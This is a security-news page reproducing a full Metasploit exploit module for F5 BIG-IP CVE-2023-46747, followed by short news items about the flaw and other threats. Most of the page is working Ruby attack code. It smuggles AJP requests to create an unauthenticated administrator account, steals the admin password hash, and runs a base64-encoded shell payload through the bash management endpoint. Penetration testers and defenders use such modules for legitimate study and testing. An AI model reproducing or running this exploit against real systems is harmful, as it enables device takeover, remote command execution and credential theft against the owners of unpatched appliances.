Security
Headlines
HeadlinesLatestCVEs

Headline

F5 BIG-IP TMUI AJP Smuggling Remote Command Execution

This Metasploit module exploits a flaw in F5’s BIG-IP Traffic Management User Interface (TMU) that enables an external, unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new account to execute a command payload. Both the exploit and check methods automatically delete any temporary accounts that are created.

Packet Storm
#vulnerability#web#linux#apache#js#git#rce#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/proto/apache_j_p'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Retry  ApacheJP = Rex::Proto::ApacheJP  def initialize(info = {})    super(      update_info(        info,        'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',        'Description' => %q{          This module exploits a flaw in F5's BIG-IP Traffic Management User Interface (TMUI) that enables an external,          unauthenticated attacker to create an administrative user. Once the user is created, the module uses the new          account to execute a command payload. Both the exploit and check methods automatically delete any temporary          accounts that are created.        },        'Author' => [          'Michael Weber', # vulnerability analysis          'Thomas Hendrickson', # vulnerability analysis          'Sandeep Singh', # nuclei template          'Spencer McIntyre' # metasploit module        ],        'References' => [          ['CVE', '2023-46747'],          ['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],          ['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],          ['URL', 'https://my.f5.com/manage/s/article/K000137353'],          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496'],          ['URL', 'https://attackerkb.com/topics/t52A9pctHn/cve-2023-46747/rapid7-analysis']        ],        'DisclosureDate' => '2023-10-26', # Vendor advisory        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Privileged' => true,        'Targets' => [          [            'Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD            }          ],        ],        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443,          'FETCH_WRITABLE_DIR' => '/tmp'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [],          'SideEffects' => [            IOC_IN_LOGS, # user creation events are logged            CONFIG_CHANGES # a temporary user is created then deleted          ]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path', '/'])    ])  end  def check    res = create_user(role: 'Guest')    return CheckCode::Unknown('No response received from target.') unless res    return CheckCode::Safe('Failed to create the user.') unless res.code == 200    changed = update_user_password    return CheckCode::Safe('Failed to set the new user\'s password.') unless changed    res = bigip_api_tm_get_user(username)    return CheckCode::Safe('Failed to validate the new user account.') unless res.get_json_document['kind'] == 'tm:auth:user:userstate'    CheckCode::Vulnerable('Successfully tested unauthenticated user creation.')  end  def exploit    res = create_user(role: 'Administrator')    fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200    changed = update_user_password    fail_with(Failure::UnexpectedReply, 'Failed to set the new user\'s password.') unless changed    print_good("Admin user was created successfully. Credentials: #{username} - #{password}")    res = bigip_api_tm_get_user('admin')    if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present?      print_good("Retrieved the admin hash: #{hash}")      report_hash('admin', hash)    end    logged_in = retry_until_truthy(timeout: 30) do      res = bigip_api_shared_login      res&.code == 200    end    fail_with(Failure::UnexpectedReply, 'Failed to login.') unless logged_in    token = res.get_json_document.dig('token', 'token')    fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?    print_status("Obtained login token: #{token}")    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"    # this may or may not timeout    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),      'headers' => {        'Content-Type' => 'application/json',        'X-F5-Auth-Token' => token      },      'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json    )  end  def report_hash(user, hash)    jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)    service_data = {      address: rhost,      port: rport,      service_name: 'F5 BIG-IP TMUI',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      module_fullname: fullname,      origin_type: :service,      private_data: hash,      private_type: :nonreplayable_hash,      jtr_format: jtr_format,      username: user    }.merge(service_data)    credential_core = create_credential(credential_data)    login_data = {      core: credential_core,      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_data)    create_credential_login(login_data)  end  def cleanup    super    print_status('Deleting the created user...')    delete_user  end  def username    @username ||= rand_text_alpha(6..8)  end  def password    @password ||= rand_text_alphanumeric(16..20)  end  def create_user(role:)    # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html    send_request_smuggled_ajp({      'handler' => '/tmui/system/user/create',      'form_page' => '/tmui/system/user/create.jsp',      'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]",      'systemuser-hidden_before' => '',      'name' => username,      'name_before' => '',      'passwd' => password,      'passwd_before' => '',      'finished' => 'x',      'finished_before' => ''    })  end  def delete_user    send_request_smuggled_ajp({      'handler' => '/tmui/system/user/list',      'form_page' => '/tmui/system/user/list.jsp',      'checkbox0' => username,      'checkbox0_before' => 'checked',      'delete_confirm' => 'Delete',      'delete_confirm_before' => 'Delete',      'row_count' => '1',      'row_count_before' => '1'    })  end  def update_user_password    new_password = Rex::Text.rand_text_alphanumeric(password.length)    changed = retry_until_truthy(timeout: 30) do      res = bigip_api_shared_set_password(username, password, new_password)      res&.code == 200    end    @password = new_password if changed    changed  end  def send_request_smuggled_ajp(query)    post_data = "204\r\n" # do not change    timenow = rand_text_numeric(1)    tmui_dubbuf = rand_text_alpha_upper(11)    query = query.merge({      '_bufvalue' => Base64.strict_encode64(OpenSSL::Digest::SHA1.new(tmui_dubbuf + timenow).digest),      '_bufvalue_before' => '',      '_timenow' => timenow,      '_timenow_before' => ''    })    query_string = URI.encode_www_form(query).ljust(370, '&')    # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes    ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(      http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,      req_uri: '/tmui/Control/form',      remote_addr: '127.0.0.1',      remote_host: 'localhost',      server_name: 'localhost',      headers: [        { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },        { header_name: 'REMOTEROLE', header_value: '0' },        { header_name: 'host', header_value: 'localhost' }      ],      attributes: [        { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },        { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },        { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }      ]    )    ajp_data = ajp_forward_request.to_binary_s[2...]    unless ajp_data.length == 0x204 # 516 bytes      # this is a developer error      raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."    end    post_data << ajp_data    post_data << "\r\n0"    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),      'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },      'data' => post_data    )  end  def bigip_api_shared_set_password(user, old_password, new_password)    send_request_cgi(      'method' => 'PATCH',      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),      'headers' => {        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",        'Content-Type' => 'application/json'      },      'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json    )  end  def bigip_api_shared_login    send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),      'headers' => { 'Content-Type' => 'application/json' },      'data' => { 'username' => username, 'password' => password }.to_json    )  end  def bigip_api_tm_get_user(user)    send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),      'headers' => {        'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",        'Content-Type' => 'application/json'      }    )  endend

Related news

RansomHub Ransomware Group Targets 210 Victims Across Critical Sectors

Threat actors linked to the RansomHub ransomware group encrypted and exfiltrated data from at least 210 victims since its inception in February 2024, the U.S. government said. The victims span various sectors, including water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services,

Microsoft Warns of New 'FalseFont' Backdoor Targeting the Defense Sector

Organizations in the Defense Industrial Base (DIB) sector are in the crosshairs of an Iranian threat actor as part of a campaign designed to deliver a never-before-seen backdoor called FalseFont. The findings come from Microsoft, which is tracking the activity under its weather-themed moniker Peach Sandstorm (formerly Holmium), which is also known as APT33, Elfin, and Refined Kitten. "

Alert: F5 Warns of Active Attacks Exploiting BIG-IP Vulnerability

F5 is warning of active abuse of a critical security flaw in BIG-IP less than a week after its public disclosure that could result in the execution of arbitrary system commands as part of an exploit chain. Tracked as CVE-2023-46747 (CVSS score: 9.8), the vulnerability allows an unauthenticated attacker with network access to the BIG-IP system through the management port to achieve code execution

Patch now! BIG-IP Configuration utility is vulnerable for an authentication bypass

F5 has warned customers about a critical vulnerability impacting BIG-IP that could result in unauthenticated remote code execution.

F5 Issues Warning: BIG-IP Vulnerability Allows Remote Code Execution

F5 has alerted customers of a critical security vulnerability impacting BIG-IP that could result in unauthenticated remote code execution. The issue, rooted in the configuration utility component, has been assigned the CVE identifier CVE-2023-46747, and carries a CVSS score of 9.8 out of a maximum of 10. "This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP

CVE-2023-46747: myF5

Undisclosed requests may bypass configuration utility authentication, allowing an attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution